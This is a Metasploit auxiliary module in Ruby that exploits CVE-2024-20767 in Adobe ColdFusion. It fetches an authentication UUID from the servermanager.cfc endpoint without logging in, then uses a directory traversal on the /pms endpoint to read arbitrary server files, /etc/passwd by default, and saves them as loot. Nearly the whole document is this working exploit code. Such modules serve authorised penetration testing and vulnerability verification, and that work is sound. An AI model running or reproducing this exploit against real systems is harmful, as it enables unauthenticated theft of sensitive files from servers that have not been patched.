Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'CVE-2024-20767 - Adobe Coldfusion Arbitrary File Read',
15
        'Description' => %q{
16
          This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version
17
          '2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication
18
          token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that
19
          UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.
20
        },
21
        'Author' => [
22
          'ma4ter',          # Analysis & Discovery
23
          'yoryio',          # PoC
24
          'Christiaan Beek', # Msf module
25
          'jheysel-r7'       # Msf module assistance
26
        ],
27
        'License' => MSF_LICENSE,
28
        'References' => [
29
          ['CVE', '2024-20767'],
30
          ['URL', 'https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html'],
31
          ['URL', 'https://jeva.cc/2973.html'],
32

33
        ],
34
        'DisclosureDate' => '2024-03-12',
35
        'Notes' => {
36
          'Stability' => [CRASH_SAFE],
37
          'Reliability' => [],
38
          'SideEffects' => [IOC_IN_LOGS]
39
        }
40
      )
41
    )
42

43
    register_options(
44
      [
45
        Opt::RPORT(8500),
46
        OptString.new('TARGETURI', [true, 'The base path for ColdFusion', '/']),
47
        OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),
48
        OptInt.new('NUMBER_OF_LINES', [true, 'Number of lines to retrieve', 10000]),
49
        OptInt.new('DEPTH', [true, 'Traversal Depth', 5]),
50
      ]
51
    )
52
  end
53

54
  def get_uuid
55
    res = send_request_cgi({
56
      'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', '_servermanager', 'servermanager.cfc'),
57
      'vars_get' =>
58
       {
59
         'method' => 'getHeartBeat'
60
       }
61
    })
62
    fail_with(Failure::Unreachable, 'No response from the target when attempting to retrieve the UUID') unless res
63

64
    # TODO: give a more detailed error message once we find out why some of the seemingly vulnerable test targets return a 500 here.
65
    fail_with(Failure::UnexpectedReply, "Received an unexpected response code: #{res.code} when attempting to retrieve the UUID") unless res.code == 200
66
    uuid = res.get_html_document.xpath('//var[@name=\'uuid\']/string/text()').text
67
    fail_with(Failure::UnexpectedReply, 'There was no UUID in the response') unless uuid =~ /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
68
    uuid
69
  end
70

71
  def run
72
    print_status('Attempting to retrieve UUID ...')
73
    uuid = get_uuid
74
    print_good("UUID found: #{uuid}")
75
    print_status("Attempting to exploit directory traversal to read #{datastore['FILE_PATH']}")
76

77
    traversal_path = '../' * datastore['DEPTH']
78
    file_path = "#{traversal_path}#{datastore['FILE_PATH']}"
79

80
    res = send_request_cgi({
81
      'uri' => normalize_uri(target_uri.path, 'pms'),
82
      'vars_get' =>
83
         {
84
           'module' => 'logging',
85
           'file_name' => file_path,
86
           'number_of_lines' => datastore['NUMBER_OF_LINES']
87
         },
88
      'headers' =>
89
         {
90
           'uuid' => uuid
91
         }
92
    })
93

94
    fail_with(Failure::Unknown, 'No response received') unless res
95

96
    if res.code == 200
97
      print_good('File content received:')
98
    else
99
      fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code: #{res.code}")
100
    end
101

102
    file_contents = []
103
    res.body[1..-2].split(', ').each do |html_response_line|
104
      print_status(html_response_line)
105
      file_contents << html_response_line
106
    end
107

108
    stored_path = store_loot('coldfusion.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])
109
    print_good("Results saved to: #{stored_path}")
110
  end
111
end
112

113